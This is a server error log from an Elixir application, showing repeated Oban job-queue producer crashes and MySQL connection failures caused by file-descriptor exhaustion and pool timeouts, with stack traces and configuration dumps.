State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:52:36.241087Z], limit: 20, uuid: "41746566-4eed-4092-a31b-1ebd48294a50", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:36.241092Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.223759>, refresh_timer: #Reference<0.2525715032.1077411843.223738>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:49.243000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:50.450000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:51.716000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:52.005000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:55.128000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:00.026000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 816ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:52:48.242138Z], limit: 50, uuid: "a9da513d-210c-4566-8939-08709954f4dd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:48.242145Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.240154>, refresh_timer: #Reference<0.2525715032.1099169794.247656>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 835ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:52:48.243800Z], limit: 10, uuid: "1d98420f-4eba-45b2-976c-cabbd230bfca", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:48.243806Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.98725>, refresh_timer: #Reference<0.2525715032.1121189889.98715>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 867ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:52:48.243002Z], limit: 5, uuid: "a920cb45-7c6d-4724-9537-4d8c0a3069fc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:48.243007Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.240153>, refresh_timer: #Reference<0.2525715032.1099169794.247670>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1038ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:52:48.248351Z], limit: 20, uuid: "9551a612-7266-4ad2-a435-e05ce30339a4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:48.248358Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.98727>, refresh_timer: #Reference<0.2525715032.1077411843.223876>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 825ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:52:48.243184Z], limit: 3, uuid: "23ecdcf1-279a-409f-b74e-1f1c72ffba6f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:48.243189Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.240155>, refresh_timer: #Reference<0.2525715032.1099169794.247680>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:52:48.243338Z], limit: 5, uuid: "f94542ef-0b32-468c-a67e-f93da43d953a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:48.243343Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.98726>, refresh_timer: #Reference<0.2525715032.1099169794.247687>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:01.942000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:02.200000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:03.511000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:05.277000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:05.524000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:06.789000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:07.477000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:53:00.240232Z], limit: 5, uuid: "96667675-dfe1-485e-891b-1dee345b46b6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:00.240237Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.240400>, refresh_timer: #Reference<0.2525715032.1068236804.240392>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:13.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1816ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:53:00.239534Z], limit: 20, uuid: "61500dd5-3e2a-4806-82cf-ebd046d5dca6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:00.239540Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.247782>, refresh_timer: #Reference<0.2525715032.1099169794.247770>, dispatch_cooldown: 5, running: %{}}
